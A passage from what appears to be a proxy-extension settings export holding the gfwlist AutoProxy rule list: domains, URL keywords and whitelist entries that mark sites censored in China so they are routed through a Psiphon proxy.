ociety.org\\nwetpussygames.com\\n.wetplace.com\\nwexiaobo.org\\n||wexiaobo.org\\nwezhiyong.org\\n||wezone.net\\n.wforum.com\\n||wforum.com/\\n.whatblocked.com\\n||whatblocked.com\\n.whippedass.com\\n|http://who.is/\\nwhylover.com\\n||whyx.org\\n|http://evchk.wikia.com\\ncn.uncyclopedia.wikia.com\\nzh.uncyclopedia.wikia.com\\n||wikileaks.ch\\n||wikileaks.de\\n||wikileaks.eu\\n||wikileaks.lu\\n.wikileaks.org\\n||wikileaks.org\\n||wikileaks.pl\\n||collateralmurder.com\\n||collateralmurder.org\\nwikilivres.info/wiki/%E9%9B%B6%E5%85%AB%E5%AE%AA%E7%AB%A0\\n||wikimapia.org\\n||wikiwiki.jp\\n||sports.williamhill.com\\n||willw.net\\n||windowsphoneme.com\\nwinwhispers.info\\n||wiredbytes.com\\n||wiredpen.com\\n||wireshark.org\\n.wisdompubs.org\\n.wisevid.com\\n||wisevid.com\\n.witnessleeteaching.com\\n.witopia.net\\n|http://wn.com\\n.wnacg.com\\n.wo.tc\\n||woeser.com\\n|http://woesermiddle-way.net/\\nwolfax.com\\n||wolfax.com\\nwoopie.jp\\n||woopie.jp\\nwoopie.tv\\n||woopie.tv\\n||workatruna.com\\n||workersthebig.net\\n.worldcat.org\\nworldjournal.com\\n\\n!-------------Wordpress Blog-----\\n!-||bhorowitz.com\\n!-||blogmaverick.com\\n!-||blogs.cnn.com\\n!-||blog.drakengren.com\\n!-||fourwallsandaroof.com\\n!-||herbsutter.com\\n!-||hiveminds.co.uk\\n!-||hoparoundtheglobe.com\\n!-||hunbulin.com\\n!-||icanhascheezburger.com\\n!-||support.intensedebate.com\\n!-||menro.me\\n!-||michaeldehaan.net\\n!-||mynokiablog.com\\n!-||nandalala.com\\n!-||p2theme.com\\n!-||pixelbread.com\\n!-||blog.pixelpipe.com\\n!-||blog.polldaddy.com\\n!-||rawfoodsos.com\\n!-||rayous.com\\n!-||semicolonapps.com\\n!-||sharpinsandiego.com\\n!-||smedio.com\\n!-||steveblank.com\\n!-||thebrigade.com\\n!-||blog.thinglabs.com\\n!-||china.blogs.time.com\\n!-||blog.wakoopa.com\\n!-||wattsupwiththat.com\\n!-||webmink.com\\n.wordpress.com\\n|http://*.wordpress.com\\n||wp.com\\n!-||wormsculptor.com\\nwoxinghuiguo.com\\nwow-life.net\\n||wowlegacy.ml\\n.wpoforum.com\\n||wpoforum.com\\n.wqlhw.com\\n.wqyd.org\\n||wqyd.org\\nwrchina.org\\nwretch.cc\\n!-cn.wsj.com/gb/20130215/tec113853.asp\\n.wsj.com\\n||wsj.com\\n.wsjhk.com\\n.wsj.net\\n.wtfpeople.com\\n.wuala.com\\nwuerkaixi.com\\nwufi.org.tw\\n||wufoo.com\\n||wuguoguang.com\\nwujie.net\\nwujieliulan.com\\n||wujieliulan.com\\nwukangrui.net\\nwwitv.com\\nwzyboy.im/post/160\\n\\n!--------------------------XX--------------------------\\n.x-berry.com\\n||x-berry.com\\n||x-art.com\\n||x-wall.org\\nx1949x.com\\nx365x.com\\nxanga.com\\n||xbabe.com\\n.xbookcn.com\\n||xbookcn.com\\n||xcafe.in\\nx.xcity.jp\\n.xcritic.com\\n|http://cdn*.xda-developers.com\\ndestiny.xfiles.to/ubbthreads\\n.xfm.pp.ru\\nxgmyd.com\\nxh4n.cn/blog\\nxhamster.com\\none.xthost.info\\n.xianqiao.net\\n.xiaochuncnjp.com\\ns.xiaod.in\\n.xiaohexie.com\\n||xiaolan.me\\n||xiaoma.org\\n||xiaohexie.com\\nxiezhua.com\\nforum.xinbao.de/forum\\n.xing.com\\n||xing.com\\n.xinmiao.com.hk\\n||xinmiao.com.hk\\nxinsheng.net\\nxinshijue.com\\nxinhuanet.org\\n|http://xinyubbs.net\\n.xiongpian.com\\nxizang-zhiye.org\\nxjp.cc\\n||xjp.cc\\n||xlfmwz.info\\n||xml-training-guide.com\\nxmovies.com\\n||xnxx.com\\nxpdo.net\\n||xpud.org\\n||k2.xrea.com\\n||xtube.com\\nblog.xuite.net\\nvlog.xuite.net\\nxuzhiyong.net\\n||xuchao.org\\nxuchao.net\\n||xuchao.net\\n.xvideos.com\\n.xxbbx.com\\n||xxxx.com.au\\nxys.org\\nxysblogs.org\\nxyy69.com\\nxyy69.info\\n\\n!--------------------------YY--------------------------\\npage.bid.yahoo.com\\nblogs.yahoo.co.jp\\nbuy.yahoo.com.tw/gdsale\\nhk.yahoo.com\\nhk.knowledge.yahoo.com\\nhk.myblog.yahoo.com\\n||hk.news.yahoo.com\\nhk.rd.yahoo.com\\nhk.search.yahoo.com/search\\nhk.video.news.yahoo.com/video\\nmeme.yahoo.com\\n!--tw.yahoo.com\\n||tw.knowledge.yahoo.com\\ntw.myblog.yahoo.com\\n||tw.news.yahoo.com\\npulse.yahoo.com\\nupcoming.yahoo.com\\nvideo.yahoo.com\\n||yahoo.com.hk\\n||yakbutterblues.com\\nyam.com\\n||yam.com\\nyangjianli.com\\nyasni.co.uk\\n||yasukuni.or.jp\\n.ydy.com\\n||yeelou.com\\nyeeyi.com\\nyegle.net\\n||yegle.net\\n||yes123.com.tw\\n||yesasia.com\\n||yesasia.com.hk\\n||yecl.net\\n!--yfrog.com\\n||yhcw.net\\n.yi.org\\n.yibada.com\\n.yibaochina.com\\n.yidio.com\\n||yidio.com\\nyilubbs.com\\nxa.yimg.com\\n.yipub.com\\n||yipub.com\\nyinlei.org/mt\\n.yogichen.org\\n||yogichen.org\\nyong.hu\\n.yorkbbs.ca\\n||youxu.info\\n.yyii.org\\n||yyii.org\\n.yzzk.com\\n||yzzk.com\\n.youjizz.com\\n||youjizz.com\\nyoumaker.com\\nyoupai.org\\n||youpai.org\\n.your-freedom.net\\n||yourepeat.com\\n.yousendit.com\\n||yousendit.com\\nyouthbao.com\\n.youthnetradio.org/tmit/forum\\nblog.youthwant.com.tw\\nshare.youthwant.com.tw\\ntopic.youthwant.com.tw\\n.youporn.com\\n||youporn.com\\n.youporngay.com\\n||youtu.be\\n.youtube.com\\n||youtube.com\\n||youtube-nocookie.com\\n.youtubecn.com\\nyouversion.com\\n||youversion.com\\nblog.youxu.info/2010/03/14/west-chamber\\nytht.net\\nyuanming.net\\n||yunchao.net\\n||yvesgeleyn.com\\nyx51.net\\n||yymaya.com\\n\\n!--------------------------ZZ--------------------------\\nzacebook.com\\n||zannel.com\\n||tap11.com\\n.zaobao.com\\n.zaobao.com.sg\\n||zaobao.com.sg\\n.zaozon.com\\n||zarias.com\\nwww.zaurus.org.uk\\n.zdnet.com.tw/news/software/0,2000085678,20111187,00\\n.zengjinyan.org\\n!--||zeutch.com\\nwww.zfreet.com/post/usejump-browns.html\\nzgzcjj.net\\n.zhanbin.net\\n||zhanbin.net\\n.zhangboli.net\\nzhenghui.org\\n||zhangtianliang.com\\nzhengwunet.org\\nzhenlibu.info\\n||zhenlibu.info\\n|http://zhenxiang.biz\\n.zhinengluyou.com\\n|http://zhongguorenquan.org\\n||zhongguotese.net\\n||zhongmeng.org\\n||zhreader.com\\nzhuichaguoji.org\\n||zhuichaguoji.org\\n.ziddu.com/download\\n||zillionk.com\\nzinio.com\\n||zinio.com\\n||ziplib.com\\n.zkaip.com\\n||zkaip.com\\n||zlib.net/\\nzmw.cn\\nzomobo.net\\n.zonaeuropa.com\\n||zonaeuropa.com\\n||zootool.com\\n.zoozle.net\\nwriter.zoho.com\\n.zshare.net/download\\n.zsrhao.com\\n.zuo.la\\n||zuo.la\\n||zuobiao.me\\n.zuola.com\\n||zuola.com\\n||zvereff.com\\nzyzc9.com\\n\\n!--------------------------Other----------------------\\n!--falun\\nfreenet\\nq=freedom\\nq%3Dfreedom\\nremembering_tiananmen_20_years\\nsearch*safeweb\\nq=triangle\\nq%3DTriangle\\nultrareach\\nultrasurf\\nzhengjian\\n\\n!--Ba Ke\\n%E7%BD%A2%E8%AF%BE\\n!--Bao Tong\\n!--.google.*%E9%B2%8D%E5%BD%A4\\n!--.google.*%E9%AE%91%E5%BD%A4\\n!--Bo Xun\\nsearch*%E5%8D%9A%E8%AE%AF\\n!--Da Ji Yuan\\nsearch*%E5%A4%A7%E7%BA%AA%E5%85%83\\n!--Diao Yu Dao\\nsearch*%E9%92%93%E9%B1%BC%E5%B2%9B\\n!--dong tai wang\\n%E5%8A%A8%E6%80%81%E7%BD%91\\n!--Duo Wei (hans/hant)\\nsearch*%E5%A4%9A%E7%B6%AD\\nsearch*%E5%A4%9A%E7%BB%B4\\nsearch*freegate\\n!--(Li) Fa Hui\\nsearch*%E6%B3%95%E4%BC%9A\\n!--fa lun da fa\\n%E6%B3%95%E8%BD%AE%E5%A4%A7%E6%B3%95\\n!--Fa Lun Gong: Traditional Chinese\\n%E6%B3%95%E8%BC%AA%E5%8A%9F\\n!--Fa Lun Gong: Simplified Chinese\\n%E6%B3%95%E8%BD%AE%E5%8A%9F\\n!--Hu Hai Feng\\n%E8%83%A1%E6%B5%B7%E5%B3%B0\\n!--Hu Hai Qing\\n%E8%83%A1%E6%B5%B7%E6%B8%85\\n!--Hua Hua Gong Zi\\nsearch*%E8%8A%B1%E8%8A%B1%E5%85%AC%E5%AD%90\\n!--Ji Yuan\\nsearch*%BC%CD%D4%AA\\n!--Jia Mi Dai Li (GB/U8)\\nsearch*%BC%D3%C3%DC%B4%FA%C0%ED\\nsearch*%E5%8A%A0%E5%AF%86%E4%BB%A3%E7%90%86\\n!--Jiang Liu Mang\\nsearch*%E6%B1%9F%E6%B5%81%E6%B0%93\\n!--Kan Zhong Guo\\nsearch*%E7%9C%8B%E4%B8%AD%E5%9B%BD\\n!--Liu Si\\nsearch*%E5%85%AD%E5%9B%9B\\n!--Liu Xiao Bo\\n%E5%88%98%E6%99%93%E6%B3%A2\\n!--Mei Guo Zhi Yin\\n%E7%BE%8E%E5%9B%BD%E4%B9%8B%E9%9F%B3\\n!--Min Jin Dang\\n%E6%B0%91%E8%BF%9B%E5%85%9A\\n!--(Nong) Min Yun (Dong Hui)\\n%E6%B0%91%E8%BF%90\\n!--Se Qing\\nsearch*%E8%89%B2%E6%83%85\\n!--Wang Dan\\n%E7%8E%8B%E4%B8%B9\\n!--Wang Te\\nsearch*%E7%BD%91%E7%89%B9\\n!--Wang Xi Zhe\\nsearch*%E7%8E%8B%E5%B8%8C%E5%93%B2\\n!--Wei Jing Sheng\\nsearch*%E9%AD%8F%E4%BA%AC%E7%94%9F\\n!--Wen Zi Yu\\nsearch*%E6%96%87%E5%AD%97%E7%8B%B1\\n!--Wo De Fen Dou\\nsearch*%E6%88%91%E7%9A%84%E5%A5%8B%E6%96%97\\n!--Wu Jie\\nsearch*%E6%97%A0%E7%95%8C\\n!--Xie E\\nsearch*%E9%82%AA%E6%81%B6\\n!--Xin Tang Ren\\nsearch*%E6%96%B0%E5%94%90%E4%BA%BA\\n!--Xin Yu Si\\nsearch*%E6%96%B0%E8%AF%AD%E4%B8%9D\\n!--Xue Yun\\nsearch*%E5%AD%A6%E8%BF%90\\n!--Zhong Gong\\nsearch*%E4%B8%AD%E5%8A%9F\\n!--Zhong Guo Lun Tan\\nsearch*%E4%B8%AD%E5%9B%BD%E8%AE%BA%E5%9D%9B\\n!--Zhong Xuan Bu\\nsearch*%E4%B8%AD%E5%AE%A3%E9%83%A8\\n\\n!-------------Wikipedia Related-------------\\n!---Emergency need only(IP/Port block usage)---\\n!------0------\\n!--||mediawiki.org\\n!--@@||m.mediawiki.org\\n!------1------\\n!--||wikidata.org\\n!--@@||m.wikidata.org\\n!------2------\\n!--||wikimedia.org\\n!--@@||lists.wikimedia.org\\n!--@@||m.wikimedia.org\\n!--@@||phabricator.wikimedia.org\\n!--@@||upload.wikimedia.org\\n!--@@||wikitech.wikimedia.org\\n!------3------\\n!--||wikibooks.org\\n!--@@||m.wikibooks.org\\n!------4------\\n!--||wikiversity.org\\n!--@@||m.wikiversity.org\\n!------5------\\n!--||wikisource.org\\n!--@@||m.wikisource.org\\nzh.wikisource.org\\n!------6------\\n!--||wikiquote.org\\n!--@@||m.wikiquote.org\\n!------7------\\n!--||wikinews.org\\n!--@@||m.wikinews.org\\nzh.wikinews.org\\n!------8------\\n!--||wikivoyage.org\\n!--@@||m.wikivoyage.org\\nzh.wikivoyage.org\\n!------9------\\n!--||wiktionary.org\\n!--@@||m.wiktionary.org\\nzh.wiktionary.org\\n!-----10------\\n!--||wikimediafoundation.org\\n!--@@||m.wikimediafoundation.org\\n!----Main-----\\n!--||wikipedia.org\\nzh.wikipedia.org\\n!--||zh.wikipedia.org\\nzh.m.wikipedia.org\\n|https://zh.m.wikipedia.org\\n!--@@||m.wikipedia.org\\n|https://zh.wikipedia.org\\n\\n!---------------Other Wikis---------------\\n!--Tu Po Wang Luo Shen Cha--Wikibooks\\nzh.wikibooks.org*%E7%AA%81%E7%A0%B4%E7%BD%91%E7%BB%9C%E5%AE%A1%E6%9F%A5\\n\\n!------------TW Gov-------------------------\\n.gov.tw\\n@@||tax.nat.gov.tw\\n@@||moe.gov.tw\\n@@||cwb.gov.tw\\n@@||npm.gov.tw\\n@@||yatsen.gov.tw\\n@@||mvdis.gov.tw\\n@@||stdtime.gov.tw\\n@@||nmmba.gov.tw\\n@@||ntdmh.gov.tw\\n@@||grb.gov.tw\\n@@||tpde.aide.gov.tw\\n@@||matsu-news.gov.tw\\n@@||dapu-house.gov.tw\\n@@||vghtc.gov.tw\\n@@||aide.gov.tw\\n@@||hchcc.gov.tw\\n@@||ntuh.gov.tw\\n@@||nhri.gov.tw\\n@@||nstm.gov.tw\\n@@||ntsec.gov.tw\\n@@||ner.gov.tw\\n@@||nmtl.gov.tw\\n@@||ntl.gov.tw\\n@@||pet.gov.tw\\n@@||khcc.gov.tw\\n@@||nmmba.gov.tw\\n@@||khms.gov.tw\\n@@||wanfang.gov.tw\\n@@||nict.gov.tw\\n@@||arte.gov.tw\\n@@||nmh.gov.tw\\n@@||nmp.gov.tw\\n@@||tphcc.gov.tw\\n@@||iner.gov.tw\\n@@||tncsec.gov.tw\\n@@||nspo.gov.tw\\n@@||aide.gov.tw\\n@@||ncree.gov.tw\\n@@||vghks.gov.tw\\n@@||tchb.gov.tw\\n@@||pabp.gov.tw\\n@@||itrc.gov.tw\\n@@||df.gov.tw\\n@@||womenbusiness.nyc.gov.tw\\n@@||gsn-cert.nat.gov.tw\\n@@||kk.gov.tw\\n@@||thbstc.gov.tw\\n@@||comnews.gio.gov.tw\\n@@||comnews.gio.gov.tw\\n@@||klccab.gov.tw\\n@@||yvtc.gov.tw\\n@@||aftygh.gov.tw\\n@@||klra.gov.tw\\n@@||lungtanhr.gov.tw\\n@@||taoyuan.gov.tw\\n@@||hcc.gov.tw\\n@@||nvri.gov.tw\\n@@||nmvttc.gov.tw\\n@@||kmh.gov.tw\\n@@||patehr.gov.tw\\n@@||nerch.gov.tw\\n@@||kmseh.gov.tw\\n@@||nertt.gov.tw\\n@@||cycab.gov.tw\\n@@||chukuang.gov.tw\\n@@||gysd.nyc.gov.tw\\n@@||cp-house.gov.tw\\n@@||vghtpe.gov.tw\\n@@||etraining.gov.tw\\n@@||stag.gov.tw\\n@@||bdhr.gov.tw\\n@@||tcsac.gov.tw\\n@@||imagesblog.gio.gov.tw\\n@@||arte.gov.tw\\n@@||dmtip.gov.tw\\n@@||chccc.gov.tw\\n@@||hengchuen.gov.tw\\n@@||hsinchu-cc.gov.tw\\n@@||921.gov.tw\\n@@||ncdr.nat.gov.tw\\n@@||4pppc.gov.tw\\n@@||klsio.gov.tw\\n@@||nici.nat.gov.tw\\n@@||cromotc.nat.gov.tw\\n@@||taitung-house.gov.tw\\n\\n!-----IP-----\\n174.142.105.153\\n69.65.19.160\\n\\n!-----Whitelist-----\\n@@||aliyun.com\\n@@||baidu.com\\n!--@@||bing.com\\n@@||bt.byr.cn\\n@@||chinaso.com\\n@@||dl.google.com\\n@@||fonts.googleapis.com\\n@@||csi.gstatic.com\\n@@||fonts.gstatic.com\\n@@||haosou.com\\n@@||forum1.hkgolden.com \\n@@||forum6.hkgolden.com \\n@@||forum9.hkgolden.com \\n@@||articlehtml.hkgolden.com\\n@@||jike.com\\n@@|http://translate.google.cn\\n@@|http://www.google.cn/maps\\n@@||http2.golang.org\\n@@||bt.neu6.edu.cn\\n@@||qq.com\\n@@||sina.cn\\n@@||sina.com.cn\\n@@||sogou.com\\n@@||so.com\\n@@||soso.com\\n@@||yahoo.cn\\n@@||youdao.com\\n@@||zhongsou.com\\n@@|https://autoproxy.org\\n@@|http://ime.baidu.jp\\n!----------------EOF----------------\\n\",\"sourceUrl\":\"https://raw.githubusercontent.com/gfwlist/gfwlist/master/gfwlist.txt\"},\"+__ruleListOf_自动切换 Psiphon\":{\"color\":\"#5b5\",\"defaultProfileName\":\"direct\",\"format\":\"AutoProxy\",\"lastUpdate\":\"2015-12-30T10:16:50.620Z\",\"matchProfileName\":\"Psiphon for 8887\",\"name\":\"__ruleListOf_自动切换 Psiphon\",\"profileType\":\"RuleListProfile\",\"revision\":\"14f83f99343\",\"ruleList\":\"[AutoProxy 0.2.9]\\n! Checksum: 7Kef/ZbUsMfIQnK3rDwrSg\\n! Expires: 6h\\n! Last Modified: Sun, 20 Dec 2015 11:16:12 +0800\\n! HomePage: https://github.com/gfwlist/gfwlist\\n\\n!---------------------Fraud/Scam-------------------\\nchina-mmm.jp.net\\n.china-mmm.net\\n||china-mmm.net\\n.lsxszzg.com\\n\\n!---------------Non-Latin characters---------------\\n\\n!------------Restricted & URL Redirects------------\\n!--ehentai\\n|http://85.17.73.31/\\n\\n||alien-ufos.com\\n||altrec.com\\n||asianspiss.com\\n||azubu.tv\\n||beeg.com\\n||boysmaster.com\\n||darpa.mil\\n||desipro.de\\n|http://img.dlsite.jp/\\n||dmm.co.jp\\n!--||dmm.com\\n||fastpic.ru\\n||flipboard.com\\n||fxnetworks.com\\n||getuploader.com\\nhulu.com\\nhuluim.com\\n||hybrid-analysis.com\\n|http://www.ilovelongtoes.com/\\n||juliepost.com\\n|http://www.m-sport.co.uk\\n||macgamestore.com\\n||metarthunter.com\\n||mfxmedia.com\\n||muzu.tv\\n|http://www.nbc.com/live\\n||netflix.com\\n||nuuvem.com\\n||osaka69.com\\n||pandora.com\\n.pandora.tv\\n|http://www.parkansky.com\\n|http://*.pimg.tw/\\n||pure18.com\\n||qq.co.za\\n|http://radiko.jp\\n||rd.com\\n||rdio.com\\n|http://cdn*.search.xxx/\\n||slacker.com\\n||spotify.com\\n||springboardplatform.com\\n||switch1.jp\\n||target.com\\n||turntable.fm\\n||twerkingbutt.com\\n||vevo.com\\n|http://ecsm.vs.com/\\n||wheretowatch.com\\n||wingamestore.com\\n||zattoo.com\\n||zozotown.com\\n\\n!--------------------Num--------------------\\n.0rz.tw\\n|http://0rz.tw\\n||0to255.com\\n1-apple.com.tw\\n||1-apple.com.tw\\n.1000giri.net\\n||1000giri.net\\n.10conditionsoflove.com\\n||10musume.com\\n123rf.com\\n.12bet.com\\n||12bet.com\\n.12vpn.com\\n||12vpn.com\\n141hongkong.com/forum\\n.17t17p.com\\n.173ng.com\\n||173ng.com\\n1984bbs.com\\n||1984bbs.com\\n!--||1984blog.com\\n.1984bbs.org\\n||1984bbs.org\\n.1998cdp.org\\n.1bao.org\\n|http://1bao.org\\n||1pondo.tv\\n.1eew.com\\n.2-hand.info\\n.2000fun.com/bbs\\n.2008xianzhang.info\\n||2008xianzhang.info\\n.213.so\\n21andy.com/blog\\n.228.net.tw\\n24smile.org\\n.2shared.com\\n.315lz.com\\n||32red.com\\n||36rain.com\\n.3a5a.com\\n.3boys2girls.com\\n.3tui.net\\n||4bluestones.biz\\n||4chan.org\\n||4shared.com\\n5i01.com\\ntaiwannation.50webs.com\\n||51.ca\\n.5isotoi5.org\\n.5maodang.com\\n64memo\\n.64museum.org\\n64tianwang.com\\n64wiki.com\\n666kb.com\\n6park.com\\n||6park.com\\n||7capture.com\\n|http://85st.com\\n.881903.com/page/zh-tw/\\n.888.com\\n||881903.com\\n89-64.org\\n||89-64.org\\n.8z1.net\\n||8z1.net\\n.9001700.com\\n|http://908taiwan.org/\\n|http://91porn.com\\n.92ccav.com\\n||9bis.com\\n||9bis.net\\n.99btgc01.com\\n||99btgc01.com\\n\\n!--------------------AA--------------------\\n.tibet.a.se\\n|http://tibet.a.se\\n||a-normal-day.com\\na5.com.ru\\n|http://aamacau.com\\n|http://cdn*.abc.com/\\n.ablwang.com\\n.aboluowang.com\\n||aboluowang.com\\n.aboutgfw.com\\n||acgkj.com\\nactimes.com.au\\n||aculo.us\\n||addictedtocoffee.de\\nadultfriendfinder.com\\nadultkeep.net/peepshow/members/main.htm\\n||advanscene.com\\n||advertfan.com\\n||aenhancers.com\\n||af.mil\\naiph.net\\n||aiph.net\\n|http://download.aircrack-ng.org\\n.aisex.com\\n||ait.org.tw\\naiweiwei.com\\n.aiweiweiblog.com\\n||aiweiweiblog.com\\n||www.ajsands.com\\n\\n!---------Akamaihd---------\\n|https://fbcdn*.akamaihd.net/\\n\\n||akiba-online.com\\n||al-qimmah.net\\n||alabout.com\\n||alasbarricadas.org\\nalexlur.org\\naliengu.com\\n||alkasir.com\\nallgirlsallowed.org\\nalliance.org.hk\\n.allinfa.com\\n|http://allinfa.com\\n||allmovie.com\\n||alternate-tools.com\\nalvinalexander.com\\nalwaysdata.com\\n||alwaysdata.com\\n||alwaysdata.net\\n||am730.com.hk\\namazon.com/Prisoner-State-Secret-Journal-Premier\\nameblo.jp\\n||ameblo.jp\\n||americangreencard.com\\n||amiblockedornot.com\\n.amnesty.org\\n||amnesty.org\\n.amnestyusa.org\\n||amnestyusa.org\\n.amnyemachen.org\\n.amoiist.com\\nanalyze-v.com\\n||anchorfree.com\\n!--Google\\n||ancsconf.org\\n||andfaraway.net\\n||android.com\\n||android-x86.org\\n||angularjs.org\\nanimecrazy.net\\naniscartujo.com\\n||aniscartujo.com\\n||anobii.com\\n.anonymizer.com\\nanontext.com\\n.answering-islam.org\\n|http://www.antd.org\\n||anthonycalzadilla.com\\n.antiwave.net\\n|http://antiwave.net\\n||aobo.com.au\\n||aolchannels.aol.com\\nvideo.aol.ca/video-detail\\nvideo.aol.co.uk/video-detail\\nvideo.aol.com\\n||video.aol.com\\n||search.aol.com\\nwww.aolnews.com\\n||aomiwang.com\\nvideo.ap.org\\n.apetube.com\\n||apiary.io\\n.apigee.com\\n||apigee.com\\n||appannie.com\\nappledaily.com\\narchive.is\\n||archive.org\\n.arctosia.com\\n|http://arctosia.com\\n||areca-backup.org\\n||arlingtoncemetery.mil\\n||army.mil\\nartsy.net\\n.asahichinese.com\\n||asahichinese.com\\nasdfg.jp/dabr\\n|http://japanfirst.asianfreeforum.com/\\n.asiaharvest.org\\n||asiaharvest.org\\nasianews.it\\n||asianwomensfilm.de\\n||askstudent.com\\n.askynz.net\\n||askynz.net\\n||assembla.com\\n||astonmartinnews.com\\n||astrill.com\\n||atc.org.au\\n.atchinese.com\\n|http://atchinese.com\\natgfw.org\\n||atj.org.tw\\n.atlaspost.com\\n||atlaspost.com\\n||atdmt.com\\n.atnext.com\\n||atnext.com\\navaaz.org\\n||avaaz.org\\n!--||avast.com\\n.avdb.in\\n||avdb.in\\n.avdb.tv\\n||avdb.tv\\n||avidemux.org\\n||avoision.com\\n||axureformac.com\\n\\n!--------------------BB--------------------\\nforum.baby-kingdom.com\\nbabynet.com.hk\\nbackchina.com\\n||backchina.com\\n.backpackers.com.tw/forum\\nbacktotiananmen.com\\nbadoo.com\\n|http://*2.bahamut.com.tw\\n||baidu.jp\\n||baixing.me\\nhen.bao.li\\n||bannedbook.org\\nbannedbook.org\\n||bannedbook.org\\n.barenakedislam.com\\n||barnabu.co.uk\\nbayvoice.net\\n||bayvoice.net\\ndajusha.baywords.com\\n.bbc.co.uk*chinese\\n.bbc.co.uk/tv\\n.bbc.co*zhongwen\\nnews.bbc.co.uk/onthisday*newsid_2496000/2496277\\nnewsforums.bbc.co.uk\\n.bbcchinese.com\\n||bbcchinese.com\\n|http://bbc.in\\n.bbg.gov\\n||bbsfeed.com\\nbbsland.com\\n.bbsone.com\\n.bcc.com.tw/board\\n.bcchinese.net\\n.bebo.com\\n||bebo.com\\n.behindkink.com\\n||beijing1989.com\\nbeijingspring.com\\n||beijingspring.com\\n.berlintwitterwall.com\\n||berlintwitterwall.com\\n.bestforchina.org\\n||bestforchina.org\\n||bestvpn.com\\n.bestvpnservice.com\\n.bestvpnusa.com\\n||bet365.com\\n.betfair.com\\n.bettween.com\\n||bettween.com\\n||betvictor.com\\n.bewww.net\\n.beyondfirewall.com\\n||bfnn.org\\n||bfsh.hk/\\nbiantailajiao.com\\nbiantailajiao.in\\n.biblesforamerica.org\\n|http://biblesforamerica.org\\n.bic2011.org\\nbigfools.com\\n.bignews.org\\n||bignews.org\\n.bigsound.org/portnoy\\n|http://billypan.com/wiki\\n||billywr.com\\nbipic.net\\n.bit.ly\\n|http://bit.ly\\n!--||bitbucket.org\\n||bitcointalk.org\\n.bitshare.com\\n||bitshare.com\\n!-|http://bitsnoop.com\\nbjzc.org\\n||bjzc.org/\\ntor.blingblingsquad.net\\n.blinkx.com\\n||blinkx.com\\nblinw.com\\n.blip.tv\\n||blip.tv/\\n.blockcn.com\\n||blockcn.com\\n||blog.de\\n||blogblog.com\\n.blogcatalog.com\\n||blogcatalog.com\\n||blogcity.me\\n.blogger.com\\n||blogger.com\\nblogimg.jp\\n||blog.kangye.org\\n.bloglines.com\\n||bloglines.com\\n||bloglovin.com\\nrconversation.blogs.com\\n/^https?:\\\\/\\\\/[^\\\\/]+blogspot\\\\.(.*)/\\nblogtd.net\\n.blogtd.org\\n|http://blogtd.org\\n||bloodshed.net\\n.bloomberg.cn\\n||bloomberg.cn\\n.bloomberg.com\\n||bloomberg.com\\nbloomberg.de\\n||bloomberg.de\\n||bloomfortune.com\\n||bnrmetal.com\\nboardreader.com/thread\\n||boardreader.com\\n.bod.asia\\n|http://bod.asia\\nbonbonme.com\\n||boobstagram.com\\n||book.com.tw\\n||books.com.tw\\n||botanwang.com\\n.bot.nu\\n.bowenpress.com\\n||bowenpress.com\\n||app.box.com\\ndl.box.net\\n||dl.box.net\\nboxun.com\\n||boxun.com\\n.boxun.tv\\n||boxun.tv\\nboxunblog.com\\n||boxunblog.com\\n.boxunclub.com\\n.boyfriendtv.com\\n||br.st\\n||brandonhutchinson.com\\n||braumeister.org\\n.bravotube.net\\n||bravotube.net\\n.brazzers.com\\n.break.com\\n||break.com\\n.breakingtweets.com\\n||breakingtweets.com\\n||breakwall.net\\nbriian.com/6511/freegate\\n.briefdream.com/%E7%B4%A0%E6%A3%BA\\nbrizzly.com\\n||brizzly.com\\nbroadbook.com\\n.broadpressinc.com\\nbrucewang.net\\n||bt95.com\\n|http://btdigg.org\\n.btspread.com\\n.budaedu.org\\n||budaedu.org\\n.bullog.org\\n||bullog.org\\n.bullogger.com\\n||bullogger.com\\n|http://www.businessinsider.com.au/*\\n|http://static*.businessinsider.com/\\n.businessweek.com\\n!--businesstimes\\n!-.businesstimes.com.cn\\n!-|http://businesstimes.com.cn\\n||bugclub.org\\n||buugaa.com\\n.buzzhand.com\\n.buzzhand.net\\nbuzzurl.jp\\nbwsj.hk\\n||bx.tl\\nholz.byethost8.com\\n\\n!--------------------CC--------------------\\n.c-spanvideo.org\\n||c-spanvideo.org\\n||c-est-simple.com\\n.cacnw.com\\n.cactusvpn.com\\n||cactusvpn.com\\n.cafepress.com\\n.cahr.org.tw\\n.calameo.com/books\\ncn.calameo.com\\n|http://cn.calameo.com\\n.its.caltech.edu/~falun/\\n.cam4.com\\n.cam4.jp\\n.cam4.sg\\n||cams.com\\n.cams.org.sg\\ncanadameet.com\\n|http://bbs.cantonese.asia/\\n!--http://www.cantonese.asia/action-bbs.html\\n.canyu.org\\n.cao.im\\n.caobian.info\\n||caobian.info\\n.cap.org.hk\\n||cap.org.hk\\ncardinalkungfoundation.org\\n.casatibet.org.mx\\ncaochangqing.com\\n||caochangqing.com\\ncari.com.my\\n||catch22.net\\n||catfightpayperview.xxx\\n.catholic.org.hk\\n||catholic.org.hk\\ncatholic.org.tw\\n||catholic.org.tw\\n||cattt.com\\n||cbc.ca\\n.cbsnews.com/video\\n.cbtc.org.hk\\n!-.ccc.de\\n!-||ccc.de\\n.ccdtr.org\\n||ccdtr.org\\n.ccim.org\\ncclife.org\\n.ccthere.com\\n.cctongbao.com/article/2078732\\nccue.ca\\nccue.com\\n.cgdepot.org\\n|http://cgdepot.org\\n||cdbook.org\\n||cdd.me\\n.cdef.org\\n||cdig.info\\ncdjp.org\\n||cdjp.org/\\n||cdninstagram.com\\n.cdnews.com.tw\\ncdp1989.org\\ncdp1998.org\\n||cdp1998.org\\ncdp2006.org\\n||cdp2006.org\\n.cdpa.url.tw\\ncdpeu.org\\ncdpusa.org\\ncdpweb.org\\n||cdpweb.org\\ncdpwu.org\\n||cdpwu.org\\n||cdw.com\\n.cecc.gov\\n||cecc.gov\\n||cellulo.info\\n||cenci.tk\\n||cenews.eu\\n||centralnation.com\\n.centurys.net\\n|http://centurys.net\\n.cfhks.org.hk\\n.cftfc.com\\n.cgst.edu\\n||chandoo.org\\n.change.org\\n|http://change.org\\n.changp.com\\n||changp.com\\n.chapm25.com\\n.chaturbate.com\\nchengmingmag.com\\n.chenguangcheng.com\\n||chenguangcheng.com\\nchenpokong.com\\n||cherrysave.com\\n.chhongbi.org\\n|http://chicagoncmtv.com\\n.china-week.com\\nchina101.com\\n||china101.com\\n||china18.org\\n||china21.com\\nchina21.org\\n||china21.org\\n.china5000.us\\nchinaaffairs.org\\n||chinaaffairs.org\\n||chinaaid.me\\nchinaaid.us\\nchinaaid.org\\nchinaaid.net\\nchinacomments.org\\n